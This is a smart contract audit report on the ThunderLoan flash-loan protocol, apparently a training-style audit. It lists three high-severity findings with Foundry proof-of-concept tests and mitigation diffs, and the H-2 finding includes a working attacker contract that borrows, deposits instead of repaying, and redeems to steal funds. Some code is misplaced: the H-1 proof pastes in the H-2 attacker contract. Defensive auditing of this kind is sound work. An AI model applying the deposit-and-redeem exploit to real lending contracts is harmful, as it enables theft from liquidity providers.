Protocol Audit Report

Prepared by: Caducus

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - [H-1] Unneeded `updateExchangeRate` in `ThunderLoan::deposit` causes protocol to assume it has more fees than it has, which in turn blocks redemption and incorrectly sets the exchange rate
  - [H-2] Malicious users can `ThunderLoan::deposit` instead of `ThunderLoan::repay` in order to steal funds.
  - [H-3] Mixing variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Protocol Summary

The ThunderLoan protocol is meant to do the following:

```
1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital
```

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Disclaimer

Caducus makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Impact

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

```
Commit Hash: ```8803f851f6b37e99eab2e94b4690c8b70e26b3f6```
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

1. Owner: The owner of the protocol who has the power to upgrade the implementation.
2. Liquidity Provider: A user who deposits assets into the protocol to earn interest.
3. User: A user who takes out flash loans from the protocol.

Executive Summary

```
This audit mainly consists of HIGH vulnerabilities still lingering in both
the first iteration of the protocol as well as in the upgraded version.
```

Issues found

Severity	Number of issues found
High	3
Medium	0
Low	0
Info	0
Total	3

Findings

[H-1] Unneeded `updateExchangeRate` in `ThunderLoan::deposit` causes protocol to assume it has more fees than it has, which in turn blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers. However, in `ThunderLoan::deposit` the `s_exchangeRate` is being updated, without collecting any fees.

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        //@audit-high this extra update of the fees and the exchange rate
is messing up the protocol
@>       uint256 calculatedFee = getCalculatedFee(token, amount);
@>        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: The incorrect update of `s_exchangeRates` in the `deposit` function causes the protocol to assume it has more value than it does and when a liquidity provider tries to redeem their assetTokens, the system function will revert due to the incorrect assumption of balance, potentially locking users out of their funds. Also the rewards are being calculated incorrectly, leading to liquidity provides getting more/less than deserved.

Proof of Concept: Paste the following code in `ThunderLoanTest.t.sol`:

▶ Proof of Code

```
    function testRedeemFunctionality() public setAllowedToken hasDeposits
{
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
        console.log(tokenA.balanceOf(address(thunderLoan)));

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
        vm.stopPrank();
        console.log(tokenA.balanceOf(address(thunderLoan)));
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();
    }
contract DepositNotRepay is IFlashLoanReceiver {
    ThunderLoan thLoan;
    IERC20 tokenA;

    constructor(address _thLoan) {
        thLoan = ThunderLoan(_thLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        tokenA = thLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thLoan), amount + fee);
        thLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemToSteal(address token) public {
        thLoan.redeem(IERC20(token), type(uint256).max);
    }
```

Recommended Mitigation: Remove the following code in `ThunderLoan::deposit`

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] Malicious users can `ThunderLoan::deposit` instead of `ThunderLoan::repay` in order to steal funds.

Description: In `ThunderLoan::flashLoan` the following code checks for the `assetToken`'s balance to determine if the function reverts. This gives the option to malicious users to deposit borrowed funds as if they were a liquidity provider. The implication is that the same user can then `ThunderLoan::redeem` those funds, ultimately stealing protocol funds.

Impact: Anyone can borrow, deposit and redeem those same funds, leading to severe disruption of the protocol.

Proof of Concept:

```
1. Get a flash loan amount
2. Use `deposit` function to return the amount plus fees
3. Use `redeem` to steal amount
```

Place the following code in `ThunderLoanTest.t.sol`:

▶ Proof of Code

```
    function testDepositInsteadOfRepay() public setAllowedToken
hasDeposits {
        uint256 amountToBorrow = 50e18;
        DepositNotRepay dnr = new DepositNotRepay(address(thunderLoan));
        vm.startPrank(user);
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, 50e18);
        tokenA.mint(address(dnr), fee);
        tokenA.approve(address(dnr), fee);
        thunderLoan.flashloan(address(dnr), tokenA, amountToBorrow, "");
        console.log(tokenA.balanceOf(address(dnr)));
        vm.stopPrank();
        vm.startPrank(address(dnr));
        dnr.redeemToSteal(address(tokenA));
        vm.stopPrank();
        console.log(amountToBorrow + fee);
        console.log(tokenA.balanceOf(address(dnr)));
        assert(tokenA.balanceOf(address(dnr)) >= amountToBorrow + fee);
    }
    contract DepositNotRepay is IFlashLoanReceiver {
        ThunderLoan thLoan;
        IERC20 tokenA;

        constructor(address _thLoan) {
        thLoan = ThunderLoan(_thLoan);
        }

        function executeOperation(
            address token,
            uint256 amount,
            uint256 fee,
            address, /*initiator*/
            bytes calldata /*params*/
        )
            external
            returns (bool)
        {
            tokenA = thLoan.getAssetFromToken(IERC20(token));
            IERC20(token).approve(address(thLoan), amount + fee);
            thLoan.deposit(IERC20(token), amount + fee);

            return true;
        }

        function redeemToSteal(address token) public {
            thLoan.redeem(IERC20(token), type(uint256).max);
        }
    }
```

Recommended Mitigation: Consider adding restrictions on the repayment method or prevent deposits while an AssetToken is currently flash loaning.

```diff
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
+       if (s_currentlyFlashLoaning[token]) {
+           revert ThunderLoan__CurrentlyFlashLoaning();
+       }
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-3] Mixing variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: In `ThunderLoan.sol` there are two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity works, the `s_flasLoanFee` will have the value of `s_feePrecision` after the upgrade. You canot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Concept: You can see the storage layout difference by running `forge inspect ThudnerLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```diff
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```